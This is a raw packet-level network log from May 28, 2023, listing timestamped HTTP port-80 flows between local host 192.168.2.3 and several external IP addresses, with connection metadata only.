May 28, 2023 10:42:50.836812019 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836849928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836863041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836896896 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836914062 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836952925 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836965084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836999893 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.837007999 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.837045908 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.837053061 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.837102890 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.858247995 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.861270905 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861320019 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861356974 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861393929 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861398935 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.861432076 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861443996 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.861572981 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861625910 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861634016 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.861663103 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861696959 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861710072 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.861732960 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.861779928 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.862057924 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862138033 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862178087 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862196922 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.862215042 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862262964 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.862549067 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862592936 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862641096 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862651110 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.862675905 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862711906 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.862726927 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.863123894 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.863168955 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.863182068 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.863204002 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.863240004 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.863255024 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.863579988 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.863636971 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.863646984 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.863676071 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.863725901 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.864108086 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864155054 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864190102 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864212990 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.864224911 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864294052 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.864639044 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864685059 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864734888 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864747047 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.864777088 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864801884 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.864876986 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.865103960 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865160942 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865176916 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.865197897 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865232944 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865257978 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.865266085 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865313053 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.865602970 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865659952 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865709066 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865714073 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.865745068 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.865796089 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.866125107 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866168976 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866221905 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866221905 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.866260052 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866293907 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866311073 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.866595984 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866641998 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866663933 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.866677999 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866705894 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.866724968 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.002984047 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.003135920 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.125262976 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125329018 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125379086 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125384092 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125427008 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125463963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125464916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125473976 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125483036 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125519991 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125541925 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125567913 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125583887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125613928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125659943 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125669956 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125706911 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125720978 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125720978 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125755072 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125758886 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125801086 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125811100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125847101 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125860929 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125893116 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125901937 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125938892 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125945091 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.125991106 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.125993013 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.126039028 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.126044035 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.126085043 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.126091003 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.126132011 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.126147032 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.126178980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.126188993 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.126230955 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.126247883 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.126279116 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.126281977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.126509905 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.128839016 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.158138037 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.158206940 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.158252001 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.158294916 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.158569098 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.158615112 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.158659935 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.158664942 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.158720970 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.158771038 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159013987 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159059048 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159090042 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.159106016 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159154892 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159166098 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.159363031 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159427881 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.159591913 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159822941 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159867048 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159898043 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.159914017 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159961939 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.159974098 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.160166979 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.160213947 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.160240889 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.160259962 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.160351038 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.160365105 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.160408020 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.160473108 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.162312031 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162358046 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162410975 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162455082 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162453890 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.162499905 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162528038 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.162547112 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162591934 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162609100 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.162640095 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162684917 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162714005 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.162729979 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162774086 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162797928 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.162820101 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162863970 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162883997 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.162923098 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162976027 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.162997007 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.163019896 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163065910 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163081884 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.163110971 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163156986 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163167000 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.163203001 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163248062 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163271904 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.163292885 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163337946 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163357019 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.163383961 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163434982 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163458109 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.163474083 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.163532019 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.200350046 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.200687885 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.200786114 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.201044083 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.201092958 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.201138973 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.201172113 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.201198101 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.201265097 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.201304913 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.201978922 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.202032089 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.202059984 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.202076912 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.202124119 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.202167988 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.206729889 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.206783056 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.206832886 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.206845045 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.206893921 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.207268000 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.207880974 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.207930088 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.207964897 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.207978964 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208034039 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.208040953 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208103895 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208152056 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208164930 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.208199024 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208244085 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208254099 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.208319902 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208381891 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.208386898 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208440065 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208475113 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208497047 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.208511114 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.208565950 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.270917892 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.271064043 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.279314041 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:51.306281090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.341437101 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:51.530241966 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:51.591159105 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591226101 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591312885 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591346025 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591346979 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591361046 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591408014 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591411114 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591411114 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591454029 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591478109 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591500998 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591521978 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591547966 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591573954 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591593981 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591613054 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591641903 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591662884 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591686964 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591713905 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591733932 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591749907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591779947 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591793060 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591826916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591846943 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591871977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591883898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591917038 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591937065 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.591963053 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.591975927 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592014074 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592030048 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592058897 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592076063 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592106104 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592123985 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592153072 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592171907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592197895 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592216015 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592246056 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592257977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592319965 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592320919 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592365980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592411041 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592442989 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592442989 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592457056 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592497110 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592503071 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592516899 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592550039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592570066 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592596054 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592641115 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592641115 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592663050 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592685938 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592704058 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592734098 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592747927 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592781067 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592793941 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592828035 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592839956 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592874050 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592886925 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592921019 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.592951059 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.592977047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593025923 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593034029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593034029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593071938 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593086958 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593117952 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593135118 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593164921 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593179941 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593211889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593225002 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593257904 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593271017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593305111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593326092 CEST	49720	80	192.168.2.3	103.100.211.218
